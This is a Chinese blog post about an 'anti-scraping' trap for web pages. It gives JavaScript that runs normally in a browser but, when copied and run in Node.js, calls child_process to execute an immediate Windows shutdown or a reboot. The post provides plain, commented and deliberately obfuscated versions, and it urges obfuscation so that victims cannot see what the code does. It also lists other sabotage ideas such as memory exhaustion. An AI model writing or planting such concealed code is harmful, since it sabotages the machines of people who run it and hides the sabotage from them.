让扣你代码的人电脑关机-js反爬

文案

让扣你代码的人电脑关机,赶紧学起来。
众所周知。
浏览器中无法导入模块,会报错。
nodejs中可以导入模块。
那么我们可以在导入语句后加入整蛊代码。
在捕获异常后执行正常的代码。
那么代码在浏览器中就会正常执行,而当你在本地环境中执行的时候就会电脑关机。
我们给出的都是直接的代码,我们也可以将代码混淆,得到这样的效果,完全看不懂,但是运行也会达到同样的效果。
简略版详细注释版代码,关机和重启代码均可在我的github中找到。
FuckSpider是一个反爬虫策略讲解与存放代码示例的仓库。
所有关于反爬策略的文章代码都会放在这里。

相关的用法还有很多,检测手段有刚才的导入语句错误,还有格式化检测,打开控制台检测,整蛊手段还有内存爆破,重定向,关闭浏览器等。这些检测与整蛊手段有的可以搭配使用,大家仁者见仁,有好的想法可以在评论区讨论哟。

try{
  // 导入语句
    console.log('这里执行了导入语句');
    const { exec } = require('child_process');
  // 整蛊代码,比如关机代码
    console.log('这里执行了关机代码');
  }catch{
// 正常代码
    console.log('这里执行了业务所需的正常代码');
}
try{
  // 导入语句
  // 整蛊代码,比如关机代码
  const { exec } = require('child_process');
  function shutdownWindow() {
  	let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {
          if(err || stderr) {
              console.log("关机失败!" + err + stderr);
          }
      });
      command.stdin.end();
      command.on('close', function(code) {
          console.log("shutdown",  code);
      });
  }
  shutdownWindow();
}catch{
// 正常代码
  console.log('这里执行了业务所需的正常代码');
}

素材

浏览器导入包失败

image.png

nodejs导入包成功

image.png

整蛊代码逻辑image.png

浏览器效果

image.png

本地运行效果

image.png

混淆后

image.png

代码仓库

image.png

附录

测试代码

try{
  const {exec} = require('child_process');
  console.log('成功导入了包')
}catch{
  console.log('导入包失败')
}

关机代码

const { exec } = require('child_process');
function shutdownWindow() {
	let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {
        if(err || stderr) {
            console.log("关机失败!" + err + stderr);
        }
    });
    command.stdin.end();
    command.on('close', function(code) {
        console.log("shutdown",  code);
    });
}

注释版

// 这段代码是一个Node.js脚本,它使用child_process模块中的exec函数来执行系统命令。
// 具体来说,它是用来在Windows系统上执行关机命令的。

// 这一行导入了Node.js的child_process模块,并从中提取出exec函数。
// 这个模块是内置的,不需要手动安装
// child_process模块允许Node.js与操作系统之间进行交互,包括执行外部命令。
const { exec } = require('child_process');
// 这一行定义了一个名为shutdownWindow的函数,该函数用于执行关机操作。
function shutdownWindow() {
  // 这一行使用exec函数执行了一个系统命令。具体来说,
  // 它执行了`shutdown -s -t 00`这个命令,其中:
  // - `shutdown` 是Windows系统的命令,用于关机或重启计算机。
   // - `-s` 参数表示执行关机操作。
   // - `-t 00` 参数表示在0秒后关机。这实际上是立即关机。 
  // 后面的函数是exec函数的回调函数,当命令执行完成时被调用。它接收三个参数:
   // - `err`: 表示在执行过程中发生的错误,如果没有错误则为null。
   // - `stdout`: 表示命令的标准输出。
   // - `stderr`: 表示命令的错误输出。
	let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {
      // 这里检查是否有错误发生,如果有错误或者stderr不为空,
      // 则输出关机失败的消息,并将错误信息打印出来。
        if(err || stderr) {
            console.log("关机失败!" + err + stderr);
        }
    });
  // 这一行关闭了命令的标准输入流。
  // 在这个例子中,我们不需要向命令输入任何内容,所以直接关闭输入流。
    command.stdin.end();
  // 这里注册了一个'close'事件监听器,当命令执行完毕并关闭时会被调用。
  // 它接收一个参数code,表示命令的退出代码。
    command.on('close', function(code) {
      // 这一行在命令执行完毕后输出关闭代码,表示关机是否成功执行。
        console.log("关机",  code);
    });
}

混淆一点点

function a() {
    const m = [
        'nJu5nJG4AvL2AMnq',
        'odGZndy3EeH2B216',
        'C2H1DgrVD24',
        'y2XVC2u',
        'mteYCgnSBeLk',
        '6l+z6yEm5OMN6kgm5lQg5lIA5yQH5OMa6zYa55Qe5Q2J5BI45lUJ56cb',
        'C3rKAw4',
        'ntyWnZaWmtbvv2P3qxG',
        '5ywZ5PY65AsX6lsL77Yb',
        'C2H1DgrVD24GlxmGlxqGmda',
        'y2HPBgrFChjVy2vZCW',
        'mta5ndi3ne9jthzVua',
        'q1j4s0i',
        'Bg9N',
        'r3Hxs1e',
        'mZCZmtaZnKj4wePgrq',
        'C2zrEhK',
        'wwTVDxy',
        'owDcufvira',
        'ndq0otyYmwTfuLHYsW',
        'rxnsBMu',
        'ndm2mZeYr2Lls2Xc',
        'nuPesvDMrW',
        'zw5K'
    ];
    a = function () {
        return m;
    };
    return a();
}
const i = b;
(function (c, d) {
    const h = b, e = c();
    while (!![]) {
        try {
            const f = -parseInt(h(0x107)) / (-0x176c + -0xd98 + -0x41d * -0x9) + -parseInt(h(0x111)) / (0x242b + 0x2 * 0xaa1 + -0x396b) + -parseInt(h(0x119)) / (0x3e6 * 0x4 + -0xca * 0x30 + 0x164b) + -parseInt(h(0x115)) / (-0x1 * 0xcb3 + -0xa45 + 0x16fc) + parseInt(h(0x104)) / (0x1 * -0x2303 + 0x1f96 + -0x31 * -0x12) * (-parseInt(h(0x106)) / (-0x7 * 0x1c9 + -0x12e3 * -0x1 + -0x65e)) + -parseInt(h(0x10a)) / (-0x46f + -0x1618 + 0x1a8e) * (parseInt(h(0x103)) / (0x1 * 0x10af + 0xb * 0x3f + -0x135c)) + -parseInt(h(0x118)) / (0x350 * -0x6 + -0x1ff7 + 0x298 * 0x14) * (-parseInt(h(0x10d)) / (0x1 * -0x1261 + 0x2 * -0xfea + -0x1 * -0x323f));
            if (f === d)
                break;
            else
                e['push'](e['shift']());
        } catch (g) {
            e['push'](e['shift']());
        }
    }
}(a, -0xf27c3 + -0x1d39 * -0x4e + 0x121ee8));
function b(c, d) {
    const e = a();
    return b = function (f, g) {
        f = f - (-0x3d * -0x37 + 0x2011 + 0x1615 * -0x2);
        let h = e[f];
        if (b['WrGCrI'] === undefined) {
            var i = function (m) {
                const n = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
                let o = '', p = '';
                for (let q = 0x722 + 0x3 * -0xc70 + 0x2 * 0xf17, r, s, t = 0x6a1 + 0x25 * -0x8c + -0x3 * -0x489; s = m['charAt'](t++); ~s && (r = q % (0x2 * 0x10af + 0xf83 + 0x1 * -0x30dd) ? r * (0x1 * 0x1aae + -0x339 + 0x1735 * -0x1) + s : s, q++ % (-0x1766 + -0x11e6 + -0x2 * -0x14a8)) ? o += String['fromCharCode'](-0xa * 0x25f + -0x5 * 0xe9 + -0x46 * -0x6b & r >> (-(0x1 * -0x20c7 + -0x7 * -0x11b + 0x190c) * q & 0x18c2 + -0x39b * 0x1 + 0x3 * -0x70b)) : 0xb11 + 0x13c8 + -0x1ed9) {
                    s = n['indexOf'](s);
                }
                for (let u = -0x176c + -0x2c3 + 0x1a2f, v = o['length']; u < v; u++) {
                    p += '%' + ('00' + o['charCodeAt'](u)['toString'](0x1 * -0x409 + -0x2 * 0x52f + -0x1 * -0xe77))['slice'](-(-0x3df + 0xb3e + -0x75d));
                }
                return decodeURIComponent(p);
            };
            b['ZXfmir'] = i, c = arguments, b['WrGCrI'] = !![];
        }
        const j = e[0x3 * -0x7f + 0x156d + -0x13f0], k = f + j, l = c[k];
        return !l ? (h = b['ZXfmir'](h), c[k] = h) : h = l, h;
    }, b(c, d);
}
try {
    const {exec} = require(i(0x110));
    function shutdownWindow() {
        const j = i, c = {
                'GxWKQ': function (e, f) {
                    return e || f;
                },
                'CRxKB': function (e, f) {
                    return e + f;
                },
                'Ykouv': function (e, f) {
                    return e + f;
                },
                'EsRne': j(0x108),
                'sfQxy': j(0x10f)
            };
        let d = exec(c[j(0x116)], function (e, f, g) {
            const k = j;
            c[k(0x114)](e, g) && console[k(0x113)](c[k(0x112)](c[k(0x117)](k(0x10e), e), g));
        });
        d[j(0x10c)][j(0x105)](), d['on'](j(0x109), function (e) {
            const l = j;
            console[l(0x113)](c[l(0x102)], e);
        });
    }
    shutdownWindow();
} catch {
    console[i(0x113)](i(0x10b));
}

重启代码

const { exec } = require('child_process');
function rebootWindow() {
	let command = exec('reboot', function(err, stdout, stderr) {
	    if(err || stderr) {
	        console.log("reboot failed" + err + stderr);
	    }
	});
	command.stdin.end();
	command.on('close', function(code) {
	    console.log("reboot",  code);
	});
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/473730.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch CUDA Reflect Padding 算子实现详解

CUDA 简介 CUDA&#xff08;Compute Unified Device Architecture&#xff09;是由NVIDIA开发的一种并行计算平台和应用编程接口&#xff08;API&#xff09;&#xff0c;允许软件开发者和软件工程师使用NVIDIA的图形处理单元&#xff08;GPU&#xff09;进行通用计算。自2007…

网页无插件视频播放器,支持录像、截图、音视频播放,多路播放等,提供源码下载

前言 本播放器内部采用jessibuca插件接口&#xff0c;支持录像、截图、音视频播放等功能。播放器播放基于ws流&#xff0c;分屏操作支持1分屏、4分屏、6分屏、9分屏方式。 jessibuca工作原理是通过Emscripten将音视频解码库编译成Js&#xff08;WebAssembly&#xff0c;简称was…

STC89C52RC单片机烧录时遇到的问题

(1)我之前安装了虚拟串口&#xff0c;跟物理串口冲突了&#xff0c;导致烧录失败。 把虚拟串口删除即可。 &#xff08;2&#xff09;我使用的是STC89C52RC单片机&#xff0c;而不是STC89C52单片机。 所以红色位置之前填错了。 (3)单片机冷启动是什么&#xff0c;难怪程序烧录…

多种排序讲解

hello&#xff0c;各位小伙伴&#xff0c;本篇文章跟大家一起学习多种排序&#xff0c;感谢大家对我上一篇的支持&#xff0c;如有什么问题&#xff0c;还请多多指教 &#xff01; 文章目录 冒泡排序选择排序插入排序希尔排序堆排序快速排序提醒 冒泡排序 冒泡排序就是遍历数…

vscode用SSH远程开发c语言

vscode配置远程 这里我使用虚拟机进行展示&#xff0c;首先需要你的虚拟机安装好ssh 没安装好就执行下面的命令安装并开启服务 sudo apt-get install ssh sudo service ssh start ps -e | grep sshvscode安装 remote-ssh扩展 点击左下角的远程连接&#xff0c;我这里已经连接…

51单片机学习笔记8 中断系统及定时器

51单片机学习笔记8 中断系统及定时器 一、中断的概念二、51单片机的中断1. 51单片机的中断源2. 中断的优先级3. 中断结构4. 外部中断解读5. 定时器中断6. 串口中断 三、中断相关寄存器1. IE 中断允许寄存器2. TCON 中断请求标志3. IP 中断优先级 四、中断号五、代码实现按键 &a…

如何使用 ArcGIS Pro 制作好看的高程渲染图

虽然 ArcGIS Pro 已经提供了很多好看的配色方案&#xff0c;但是如果直接对高程DEM进行渲染效果不是很理想&#xff0c;我们可以结合山体阴影让高程渲染图看起来更加立体&#xff0c;这里为大家介绍一下制作方法&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是…

【概念验证(POC):技术项目开发的关键一步】

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

g++在windows下使用C++进程库无法传入参数<求助>

如题&#xff1a; windows11使用g的时候&#xff0c;想使用下线程库。但是就发现了如题的问题。在使用时&#xff0c;不传入参数时不会报错的&#xff0c;但是传入参数之后就产生了报错。 点击进入定义发现头文件定义明明是正确的。 具体报错如下图。

3D云展平台让普通画手也能拥有自己的3D虚拟互动作品展

艺术家韩美林说过&#xff0c;我的作品都是我的孩子。 对于绘画家来说&#xff0c;每一张倾注心血和时间的画作都像自己的孩子&#xff0c;都是用心之作&#xff0c;出于某种客观或者主观原因&#xff0c;一些有才华的画家难以在线下举办画展&#xff0c;哪怕是短短几天&#x…

web表单标签加练习

表单标签 --- 行内标签 描述&#xff1a;一个完整的表单标签通常由表单域、表单控件&#xff08;表单元素&#xff09;和提示信息三部分构成 作用&#xff1a;数据交互&#xff08;C/S&#xff09; &#xff08;1&#xff09;表单域 --- <form> <form>标签用于定…

如何在尽量不损害画质的前提下降低视频占内存大小?视频格式科普及无损压缩软件推荐

大家好呀&#xff0c;相比大家都有对视频画质和体积的追求和取舍&#xff0c;那么&#xff0c;如何才能在不牺牲画质的前提下&#xff0c;尽可能的将视频大小降低到极致呢&#xff1f; 首先我们要了解视频的构成&#xff0c;要想降低视频的体积大小&#xff0c;我们可以从以下几…

Linux系统——Mysql数据库操作

目录 一、数据库基本操作 1.查看数据库结构 1.1查看数据库信息——Show databases 1.2查看数据库中的表信息——Show tables Show tables in 数据库名 use 数据库名 show tables 1.3显示数据表的结构&#xff08;字段&#xff09;——Describe&#xff08;Desc&#x…

查看angular版本的问题The Angular CLI requires a minimum Node.js version of v18.13.

angular版本与node.js版本不匹配的问题 下载安装angular 查看版本&#xff0c;发现不匹配 安装指定版本即可 查看版本并运行

网络编程-DAY6

1>创建一个武器信息库&#xff0c;包含编号&#xff08;主键&#xff09;、名称、属性、描述、价格 2>添加三把武器 3>修改某把武器的价格 4>展出价格在1000到4000的武器 5>卖掉一把武器&#xff0c;删除该武器的信息 6>几天后&#xff0c;客户顶着光头…

【Qt】使用Qt实现Web服务器(四):传递参数、表单提交和获取请求参数

1、示例 1)演示 2)提交 3)显示 2、源码 1)示例源码Demo1->FormController void FormController::service(HttpRequest& request, HttpResponse& response) {

3.6 条件判断语句cmp,je,ja,jb及adc、sbb指令

汇编语言 1. adc指令 adc是带进位加法指令&#xff0c;它利用了CF位上记录的进位值指令格式&#xff1a;adc 操作对象1&#xff0c;操作对象2功能&#xff1a;操作对象1 操作对象1 操作对象2 CF例如&#xff1a;adc ax,bx&#xff0c;实现的功能是&#xff1a;ax ax bx …

嵌入式中MCU内存管理分配算法对比

本文主要介绍内存的基本概念以及操作系统的内存管理算法。 一、内存的基本概念 内存是计算机系统中除了处理器以外最重要的资源,用于存储当前正在执行的程序和数据。 内存是相对于CPU来说的,CPU可以直接寻址的存储空间叫做内存,CPU需要通过驱动才能访问的叫做外存。…

uniapp通过script引入外部sdk的方法

文章目录 一、index.html引入二、动态引入1.App.vue引入2.单页面引入 一、index.html引入 例如 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><script>var coverSupport CSS in window && type…

【项目部署】git自动化部署项目

Git自动化部署项目 前言Git自动化部署项目自动化脚本shnodejs监听端口服务PM2启动node服务创建WebHooks 思考总结 前言 本次以egg后端项目关联gitee自动化部署为例子&#xff0c;涉及PM2进程管理工具、WebHooks、自动化脚本sh、nodejs监听端口服务等知识&#xff0c;此外服务器…